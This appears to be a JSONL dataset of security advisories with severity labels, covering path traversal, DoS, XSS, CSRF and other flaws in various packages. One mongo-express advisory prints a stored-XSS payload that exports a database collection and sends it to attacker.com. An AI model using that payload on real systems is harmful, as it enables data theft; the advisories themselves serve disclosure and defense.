-{"id": "e557126d2e8651523b16", "text": "Path Traversal in general-file-server\n\nAll versions of `general-file-server` are vulnerable to path traversal.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not use this module until a fix has been provided.", "text_raw": "Path Traversal in general-file-server\n\n[Severity: HIGH]\n\nAll versions of `general-file-server` are vulnerable to path traversal.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not use this module until a fix has been provided.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "6e8135cc0825003fddb6", "text": "Denial of Service in memjs\n\nVersions of `memjs` prior to 1.2.2 are vulnerable to Denial of Service (DoS).  The package fails to sanitize the `value` option passed to the Buffer constructor, which may allow attackers to pass large values exhausting system resources.\n\n## Recommendation\n\nUpgrade to version 1.2.2 or later.", "text_raw": "Denial of Service in memjs\n\n[Severity: CRITICAL]\n\nVersions of `memjs` prior to 1.2.2 are vulnerable to Denial of Service (DoS).  The package fails to sanitize the `value` option passed to the Buffer constructor, which may allow attackers to pass large values exhausting system resources.\n\n\n## Recommendation\n\nUpgrade to version 1.2.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "46a2d1031a2d49d5ba72", "text": "Cross-Site Request Forgery (CSRF) can run untrusted code on Rundeck server\n\n### Impact\n\nA user with `admin` access to the `system` resource type is potentially vulnerable to a CSRF attack that could cause the server to run untrusted code on all Rundeck editions.\n\n### Patches\nAvailable in Rundeck 3.4.3 and 3.3.14\n\n### Workarounds\n\nPlease visit [https://rundeck.com/security](https://rundeck.com/security) for information about specific workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [https://rundeck.com/security](https://rundeck.com/security)", "text_raw": "Cross-Site Request Forgery (CSRF) can run untrusted code on Rundeck server\n\n[Severity: HIGH]\n\n### Impact\n\nA user with `admin` access to the `system` resource type is potentially vulnerable to a CSRF attack that could cause the server to run untrusted code on all Rundeck editions.\n\n### Patches\nAvailable in Rundeck 3.4.3 and 3.3.14\n\n\n### Workarounds\n\nPlease visit [https://rundeck.com/security](https://rundeck.com/security) for information about specific workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [https://rundeck.com/security](https://rundeck.com/security)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "ba794f07c5a983a074b4", "text": "Unaligned memory allocation in chunky\n\nAn issue was discovered in the chunky crate through 2020-08-25 for Rust. The Chunk API does not honor an alignment requirement.", "text_raw": "Unaligned memory allocation in chunky\n\n[Severity: HIGH]\n\nAn issue was discovered in the chunky crate through 2020-08-25 for Rust. The Chunk API does not honor an alignment requirement.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8818f45816934c95115e", "text": "Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow", "text_raw": "Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "b058dcb9b259efd6bdf9", "text": "Microsoft Excel Security Feature Bypass\n\nAffected: Microsoft Office\n\nA security feature bypass vulnerability in Microsoft Excel would allow a local user to perform arbitrary code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-357\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Excel Security Feature Bypass\n\nAffected: Microsoft Office\n\nA security feature bypass vulnerability in Microsoft Excel would allow a local user to perform arbitrary code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-357\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-17", "split": "train"}
-{"id": "5b7ad80ff0c5f9a8337f", "text": "Downloads Resources over HTTP in serc.js\n\nAffected versions of `serc.js` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `serc.js`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in serc.js\n\n[Severity: HIGH]\n\nAffected versions of `serc.js` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `serc.js`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a5b4b0d848698129fc1d", "text": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery", "text_raw": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-01-05", "split": "train"}
-{"id": "7e81efa06ff217c0886b", "text": "windows-seleniumjar downloads Resources over HTTP\n\nAffected versions of `windows-seleniumjar` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-seleniumjar`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "windows-seleniumjar downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `windows-seleniumjar` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-seleniumjar`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "6d62ccc986527ed87032", "text": "Private Field data leak\n\nThis security advisory relates to a newly discovered capability in our query infrastructure to directly or indirectly expose the values of private fields, bypassing the configured access control.\n\nThis is an access control related oracle attack in that the attack method guides an attacker during their attempt to reveal information they do not have access to. The complexity of completing the attack is limited by some length-dependent behaviors and the fidelity of the exposed information.\n\n### Impact\n\nUnder some circumstances, field values or field value meta data can be determined, despite the field or list having `read` access control configured. If you use private fields or lists, you may be impacted.\n\n### Patches\n\nNone, at this time\n\n### Workarounds\n\nNone, at this time\n\n### References\n\nNone\n\n### For more information\n\nFor the protection of the community and private deployments, we think that the best course of action will be to not disclose further details on any open GitHub issues related to this advisory until a hot-fix or work-around has been deployed or published.\n\nIf needed, you can email us at keystone@thinkmill.com.au", "text_raw": "Private Field data leak\n\n[Severity: HIGH]\n\nThis security advisory relates to a newly discovered capability in our query infrastructure to directly or indirectly expose the values of private fields, bypassing the configured access control.\n\nThis is an access control related oracle attack in that the attack method guides an attacker during their attempt to reveal information they do not have access to. The complexity of completing the attack is limited by some length-dependent behaviors and the fidelity of the exposed information.\n\n### Impact\n\nUnder some circumstances, field values or field value meta data can be determined, despite the field or list having `read` access control configured. If you use private fields or lists, you may be impacted.\n\n### Patches\n\nNone, at this time\n\n### Workarounds\n\nNone, at this time\n\n### References\n\nNone\n\n### For more information\n\nFor the protection of the community and private deployments, we think that the best course of action will be to not disclose further details on any open GitHub issues related to this advisory until a hot-fix or work-around has been deployed or published.\n\nIf needed, you can email us at keystone@thinkmill.com.au", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "57571d3772b0412e6959", "text": "Code injection in Apache Druid\n\nApache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.", "text_raw": "Code injection in Apache Druid\n\n[Severity: HIGH]\n\nApache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "2ddc037e9e198c232524", "text": "poco downloads Resources over HTTP\n\nAffected versions of `poco` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `poco`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "poco downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `poco` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `poco`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "dcc72ec7e008716ff222", "text": "Duplicate Advisory: Helm passes repository credentials to alternate domain\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-56hp-xqp3-w2jf. This link is maintained to preserve external references.\n\n## Original Description\nHelm is a tool for managing Charts (packages of pre-configured Kubernetes resources). In versions of helm prior to 3.6.1, a vulnerability exists where the username and password credentials associated with a Helm repository could be passed on to another domain referenced by that Helm repository. This issue has been resolved in 3.6.1. There is a workaround through which one may check for improperly passed credentials. One may use a username and password for a Helm repository and may audit the Helm repository in order to check for another domain being used that could have received the credentials. In the `index.yaml` file for that repository, one may look for another domain in the `urls` list for the chart versions. If there is another domain found and that chart version was pulled or installed, the credentials would be passed on.", "text_raw": "Duplicate Advisory: Helm passes repository credentials to alternate domain\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-56hp-xqp3-w2jf. This link is maintained to preserve external references.\n\n## Original Description\nHelm is a tool for managing Charts (packages of pre-configured Kubernetes resources). In versions of helm prior to 3.6.1, a vulnerability exists where the username and password credentials associated with a Helm repository could be passed on to another domain referenced by that Helm repository. This issue has been resolved in 3.6.1. There is a workaround through which one may check for improperly passed credentials. One may use a username and password for a Helm repository and may audit the Helm repository in order to check for another domain being used that could have received the credentials. In the `index.yaml` file for that repository, one may look for another domain in the `urls` list for the chart versions. If there is another domain found and that chart version was pulled or installed, the credentials would be passed on.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "6a4076fbec1ea60b1967", "text": "Improper Certificate Validation and Insufficient Verification of Data Authenticity in Keycloak\n\nA vulnerability was found in keycloak before 6.0.2. The X.509 authenticator supports the verification of client certificates through the CRL, where the CRL list can be obtained from the URL provided in the certificate itself (CDP) or through the separately configured path. The CRL are often available over the network through unsecured protocols ('http' or 'ldap') and hence the caller should verify the signature and possibly the certification path. Keycloak currently doesn't validate signatures on CRL, which can result in a possibility of various attacks like man-in-the-middle.", "text_raw": "Improper Certificate Validation and Insufficient Verification of Data Authenticity in Keycloak\n\n[Severity: MEDIUM]\n\nA vulnerability was found in keycloak before 6.0.2. The X.509 authenticator supports the verification of client certificates through the CRL, where the CRL list can be obtained from the URL provided in the certificate itself (CDP) or through the separately configured path. The CRL are often available over the network through unsecured protocols ('http' or 'ldap') and hence the caller should verify the signature and possibly the certification path. Keycloak currently doesn't validate signatures on CRL, which can result in a possibility of various attacks like man-in-the-middle.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-27", "split": "train"}
-{"id": "a12db65deff34747fcbb", "text": "actionview contains Path Traversal vulnerability\n\nThere is a possible directory traversal and information leak vulnerability in Action View. This was meant to be fixed on CVE-2016-0752. However the 3.2 patch was not covering all possible scenarios. This vulnerability has been assigned the CVE identifier CVE-2016-2097.\n\nVersions Affected:  3.2.x, 4.0.x, 4.1.x\nNot affected:       4.2+\nFixed Versions:     3.2.22.2, 4.1.14.2\n\nImpact\n------\nApplications that pass unverified user input to the `render` method in a controller may be vulnerable to an information leak vulnerability.\n\nImpacted code will look something like this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nCarefully crafted requests can cause the above code to render files from unexpected places like outside the application's view directory, and can possibly escalate this to a remote code execution attack.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe FIXED releases are available at the normal locations.\n\nWorkarounds\n-----------\nA workaround to this issue is to not pass arbitrary user input to the `render` method. Instead, verify that data before passing it to the `render` method.\n\nFor example, change this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nTo this:\n\n```ruby\ndef index\n  render verify_template(params[:id])\nend\n\nprivate\ndef verify_template(name)\n  # add verification logic particular to your application here\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for it. It is in git-am format and consist of a single changeset.\n\n* 3-2-render_data_leak_2.patch - Patch for 3.2 series\n* 4-1-render_data_leak_2.patch - Patch for 4.1 series\n\nCredits\n-------\nThanks to both Jyoti Singh and Tobias Kraze from makandra for reporting this and working with us in the patch!", "text_raw": "actionview contains Path Traversal vulnerability\n\n[Severity: MEDIUM]\n\nThere is a possible directory traversal and information leak vulnerability in Action View. This was meant to be fixed on CVE-2016-0752. However the 3.2 patch was not covering all possible scenarios. This vulnerability has been assigned the CVE identifier CVE-2016-2097.\n\nVersions Affected:  3.2.x, 4.0.x, 4.1.x\nNot affected:       4.2+\nFixed Versions:     3.2.22.2, 4.1.14.2\n\nImpact\n------\nApplications that pass unverified user input to the `render` method in a controller may be vulnerable to an information leak vulnerability.\n\nImpacted code will look something like this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nCarefully crafted requests can cause the above code to render files from unexpected places like outside the application's view directory, and can possibly escalate this to a remote code execution attack.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe FIXED releases are available at the normal locations.\n\nWorkarounds\n-----------\nA workaround to this issue is to not pass arbitrary user input to the `render` method. Instead, verify that data before passing it to the `render` method.\n\nFor example, change this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nTo this:\n\n```ruby\ndef index\n  render verify_template(params[:id])\nend\n\nprivate\ndef verify_template(name)\n  # add verification logic particular to your application here\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for it. It is in git-am format and consist of a single changeset.\n\n* 3-2-render_data_leak_2.patch - Patch for 3.2 series\n* 4-1-render_data_leak_2.patch - Patch for 4.1 series\n\nCredits\n-------\nThanks to both Jyoti Singh and Tobias Kraze from makandra for reporting this and working with us in the patch!", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "52a55d85bf2bdab21cf1", "text": "Cross-site scripting\n\nTwo kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)", "text_raw": "Cross-site scripting\n\n[Severity: HIGH]\n\nTwo kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "f512e090d49be862f56d", "text": "Command Injection in command-exists\n\nVersions of `command-exists` before 1.2.4 are vulnerable to command injection. This is exploitable if user input is provided to this module.\n\n## Recommendation\n\nUpdate to version 1.2.4 or later.", "text_raw": "Command Injection in command-exists\n\n[Severity: CRITICAL]\n\nVersions of `command-exists` before 1.2.4 are vulnerable to command injection. This is exploitable if user input is provided to this module.\n\n\n## Recommendation\n\nUpdate to version 1.2.4 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "c55e3fcc419625cf1e7d", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator in showdoc\n\nshowdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator in showdoc\n\n[Severity: MEDIUM]\n\nshowdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "bdd99d59df7a3d07d3e2", "text": "Division by zero in TFLite's implementation of `SVDF`\n\n### Impact\nThe implementation of the `SVDF` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/7f283ff806b2031f407db64c4d3edcda8fb9f9f5/tensorflow/lite/kernels/svdf.cc#L99-L102):\n\n```cc\nconst int rank = params->rank;\n...\nTF_LITE_ENSURE_EQ(context, num_filters % rank, 0);\n```\n\nAn attacker can craft a model such that `params->rank` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [6841e522a3e7d48706a02e8819836e809f738682](https://github.com/tensorflow/tensorflow/commit/6841e522a3e7d48706a02e8819836e809f738682).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `SVDF`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `SVDF` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/7f283ff806b2031f407db64c4d3edcda8fb9f9f5/tensorflow/lite/kernels/svdf.cc#L99-L102):\n\n```cc\nconst int rank = params->rank;\n...\nTF_LITE_ENSURE_EQ(context, num_filters % rank, 0);\n```\n\nAn attacker can craft a model such that `params->rank` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [6841e522a3e7d48706a02e8819836e809f738682](https://github.com/tensorflow/tensorflow/commit/6841e522a3e7d48706a02e8819836e809f738682).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "42cfaebee60b0e80cbd0", "text": "ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions", "text_raw": "ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-08-30", "split": "train"}
-{"id": "34b5834134f983700f11", "text": "IceHrm <=7.1 Multiple Vulnerabilities", "text_raw": "IceHrm <=7.1 Multiple Vulnerabilities\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2014-12-08", "split": "train"}
-{"id": "7cec5fd9f8d5a44fc981", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k fails to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k fails to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f6789c0bba6648394ef1", "text": "Sails before 0.12.7 vulnerable to Broken CORS\n\nAffected versions of `sails` have an issue with the CORS configuration where the value of the origin header is reflected as the value for the `Access-Control-Allow-Origin` header. This may allow an attacker to make AJAX requests to vulnerable hosts through cross-site scripting or a malicious HTML Document, effectively bypassing the Same Origin Policy.\n\n## Mitigating Factors\n\nThis is only an issue when `allRoutes` is set to `true` and `origin` is set to `*` or left commented out in the sails CORS config file.\n\nThe problem can be compounded when the cors `credentials` setting is not provided, because at that point authenticated cross domain requests are possible.\n\n## Recommendation\n\nUpdate to version 0.12.7 or later.\n\nAs this vulnerability is primarily a user error, the patch for the vulnerability will simply cause the application to write an error message to the console when a vulnerable configuration is used in a production environment.\n\nWriting a proper CORS configuration is still the responsibility of the user, so it is necessary to check for the error message after installing the patch. Be sure you are not using `allRoutes: true` with `origin:'*'`, and that you uncomment `origin` and set it to a reasonable value. Ensure that if `origin` is set to `*` that you truly mean for all other websites to be able to make cross-domain requests to your API.\n\nLikewise, ensure `credentials` is uncommented out and set to the appropriate value. Make sure to explicitly set which origins may request resources via CORS.", "text_raw": "Sails before 0.12.7 vulnerable to Broken CORS\n\n[Severity: HIGH]\n\nAffected versions of `sails` have an issue with the CORS configuration where the value of the origin header is reflected as the value for the `Access-Control-Allow-Origin` header. This may allow an attacker to make AJAX requests to vulnerable hosts through cross-site scripting or a malicious HTML Document, effectively bypassing the Same Origin Policy. \n\n## Mitigating Factors\n\nThis is only an issue when `allRoutes` is set to `true` and `origin` is set to `*` or left commented out in the sails CORS config file. \n\nThe problem can be compounded when the cors `credentials` setting is not provided, because at that point authenticated cross domain requests are possible.\n\n\n## Recommendation\n\nUpdate to version 0.12.7 or later.\n\nAs this vulnerability is primarily a user error, the patch for the vulnerability will simply cause the application to write an error message to the console when a vulnerable configuration is used in a production environment.\n\nWriting a proper CORS configuration is still the responsibility of the user, so it is necessary to check for the error message after installing the patch. Be sure you are not using `allRoutes: true` with `origin:'*'`, and that you uncomment `origin` and set it to a reasonable value. Ensure that if `origin` is set to `*` that you truly mean for all other websites to be able to make cross-domain requests to your API.\n\nLikewise, ensure `credentials` is uncommented out and set to the appropriate value. Make sure to explicitly set which origins may request resources via CORS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a6594ddd16bdd7d839e8", "text": "CyberLink PowerDVD <= 8.0 Crafted PLS/M3U Playlist File BoF Vulnerability", "text_raw": "CyberLink PowerDVD <= 8.0 Crafted PLS/M3U Playlist File BoF Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2008-07-02", "split": "train"}
-{"id": "fe39541bd890f9d40219", "text": "The Bouncy Castle JCE Provider carry a propagation bug\n\nIn the Bouncy Castle JCE Provider versions 1.51 to 1.55, a carry propagation bug was introduced in the implementation of squaring for several raw math classes have been fixed (org.bouncycastle.math.raw.Nat???). These classes are used by our custom elliptic curve implementations (org.bouncycastle.math.ec.custom.**), so there was the possibility of rare (in general usage) spurious calculations for elliptic curve scalar multiplications. Such errors would have been detected with high probability by the output validation for our scalar multipliers.", "text_raw": "The Bouncy Castle JCE Provider carry a propagation bug\n\n[Severity: HIGH]\n\nIn the Bouncy Castle JCE Provider versions 1.51 to 1.55, a carry propagation bug was introduced in the implementation of squaring for several raw math classes have been fixed (org.bouncycastle.math.raw.Nat???). These classes are used by our custom elliptic curve implementations (org.bouncycastle.math.ec.custom.**), so there was the possibility of rare (in general usage) spurious calculations for elliptic curve scalar multiplications. Such errors would have been detected with high probability by the output validation for our scalar multipliers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "027470326c02ab495178", "text": "ExtCalendar 2.0 Beta 2 (upgrade.php) Remote XSS Vulnerability", "text_raw": "ExtCalendar 2.0 Beta 2 (upgrade.php) Remote XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-02-27", "split": "train"}
-{"id": "afd8fe43a8e599fd947d", "text": "Out-of-bounds Write in OpenCV.\n\nIn OpenCV 3.3.1 (corresponding with OpenCV-Python 3.3.1.11), a heap-based buffer overflow happens in cv::Jpeg2KDecoder::readComponent8u in modules/imgcodecs/src/grfmt_jpeg2000.cpp when parsing a crafted image file.", "text_raw": "Out-of-bounds Write in OpenCV.\n\n[Severity: MEDIUM]\n\nIn OpenCV 3.3.1 (corresponding with OpenCV-Python 3.3.1.11), a heap-based buffer overflow happens in cv::Jpeg2KDecoder::readComponent8u in modules/imgcodecs/src/grfmt_jpeg2000.cpp when parsing a crafted image file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "9d50fd4e99674748f719", "text": "Cross-Site Scripting in glance\n\nVersions of `glance` before 3.0.8 are vulnerable to Stored Cross-Site Scripting (XSS). This is only exploitable if the attacker is able to control the name of a file that is served by the `glance` package.", "text_raw": "Cross-Site Scripting in glance\n\n[Severity: MEDIUM]\n\nVersions of `glance` before 3.0.8 are vulnerable to Stored Cross-Site Scripting (XSS). This is only exploitable if the attacker is able to control the name of a file that is served by the `glance` package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-27", "split": "train"}
-{"id": "2d606e85e5bd9b39cbc3", "text": "Path traversal in elFinder.NetCore\n\nThis affects all versions of package elFinder.NetCore. The Path.Combine(...) method is used to create an absolute file path. Due to missing sanitation of the user input and a missing check of the generated path its possible to escape the Files directory via path traversal", "text_raw": "Path traversal in elFinder.NetCore\n\n[Severity: HIGH]\n\nThis affects all versions of package elFinder.NetCore. The Path.Combine(...) method is used to create an absolute file path. Due to missing sanitation of the user input and a missing check of the generated path its possible to escape the Files directory via path traversal", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
